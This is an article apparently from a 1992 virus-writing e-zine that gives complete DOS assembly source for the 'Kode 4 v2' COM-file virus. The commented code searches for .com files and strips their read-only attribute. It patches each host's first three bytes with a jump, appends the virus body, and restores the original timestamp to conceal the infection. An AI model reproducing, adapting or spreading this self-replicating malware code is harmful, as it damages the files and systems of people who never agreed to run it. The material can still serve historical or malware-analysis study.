home *** CD-ROM | disk | FTP | other *** search
- ─────────═════════>>> Article From Evolution #2 - YAM '92
-
- Article Title: Kode 4 v2 Virus
- Author: Soltan Griss
-
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
- V_Length equ vend-vstart
- KODE4 proc far
- start label near
- db 0E9h,00h,00h
-
-
- vstart equ $
-
- mov si,100h ;get si to point to 100
- mov di,102h ;get di to point to 102
- lback: inc di ;increment di
- mov ax,word ptr [si] ;si is ponting to ax
- cmp word ptr [di],ax ;compare ax with di loc
- jne lback ;INE go back and inc di
-
-
- mov ax,word ptr [si+1]
- cmp ax,word ptr [di+1]
- je lout
- jmp lback
-
- lout: add di,3h ;jmp stored in the end
- sub di,(v_length+100h) ;+3 to get to end and -
- mov si,di ;
- ;**********************************************************************
- ;*
- ;* The above code can be re-written as follows...
- ;* The above idea, although it works is very long in code....
- ;* when DOS does a load and execute it pushes all registers the last
- ;* register to be pushed contains the file length. so just subtract
- ;* the current location
- ;**********************************************************************
- ;
- ;
- ;
- ;Host_Off: pop bp
- ; sub bp,offset host_off
- ; mov si,bp
- ;
- ;*** Before opening any file copy the original three bytes back to 100h
- ;*** Because they will get overwritten when you check any new files
- lea di,temp_buff
- add di,si
- mov ax,word ptr [di]
- mov cl,byte ptr [di+2]
- mov di,100h
- mov word ptr [di],ax
- mov byte ptr [di+2],cl
-
-
- mov ah,4Eh ;Find first Com file
- mov dx,offset filename ; offset of "*.com"
- add dx,si
- int 21h
- jnc back
- jmp done
- Back:
- mov ah,43h ;get rid of read only
- mov al,0
- mov dx,9eh
- int 21h
- mov ah,43h
- mov al,01
- and cx,11111110b
- int 21h
-
- mov ax,3D02h ;Open file for read/writing
- mov dx,9Eh ;get file name from file DTA
- int 21h
- jnc next
- jmp done
- next: mov bx,ax ;save handle in bx
- mov ah,57h ;get time date
- mov al,0
- int 21h
-
- push cx ;put in stack for later
- push dx
-
- mov ax,4200h ; Move ptr to start of file
- xor cx,cx
- xor dx,dx
- int 21h
-
-
- mov ah,3fh ;load first 3 bytes
- mov cx,3
-
- mov dx,offset temp_buff
- add dx,si
- int 21h
-
- xor cx,cx ;move file pointer to end of file
- xor dx,dx
- mov ax,4202h
- int 21h
- sub ax,3 ; Fix for real location
- push ax
- ; nop ;
- ; nop ; used for debugging
- ; nop ;
- ; nop ;
- ; nop
-
- mov di,offset temp_buff
- add di,si
- mov word ptr [j_code2+si],ax; Save two bytes in a
- ; word [jumpin]
-
- cmp byte ptr [di],0e9h ;look for a jmp at begining
- jne infect
-
- mov cx,word ptr [di+1] ;check for XXX bytes at end
- pop ax
- sub ax,v_length
- cmp ax, cx ; jump (id string to check)
- jne infect
- jmp finish
-
-
-
- infect:
-
- xor cx,cx ;move file pointer to begining
- xor dx,dx ;to write jump
- mov ax,4200h
- int 21h
-
- mov ah,40h ;write jump in first 3 bytes
- mov cx,3
- mov dx, offset j_code1
- add dx,si
- int 21h
-
- xor cx,cx ;move file pointer to end of file
- xor dx,dx
- mov ax, 4202h
- int 21h
-
- mov dx,offset vstart
- add dx,si ;Start writing at top of virus
- mov cx,(vend-vstart) ; Set for length of virus
- mov ah,40h ;Write Data into the file
- int 21h
-
-
- Finish: pop dx ;Restore old dates and times
- pop cx
- mov ah,57h
- mov al,01h
- int 21h
-
- mov ah,3Eh ;Close the file
- int 21h
-
- mov ah,4Fh ;Find Next file
- int 21h
- jc done
- jmp back
-
- done:
- mov bp,100h
- jmp bp
-
-
- filename db "*.com",0
- DATA db " -=+ Kode4 +=-, The one and ONLY!$"
-
- j_code1 db 0e9h
- j_code2 db 00h,00h
- temp_buff db 0cdh,020h,090h ; CD 20 NOP
- kode4 endp
-
- vend equ $
-
- seg_a ends
-
- end start
-
-
-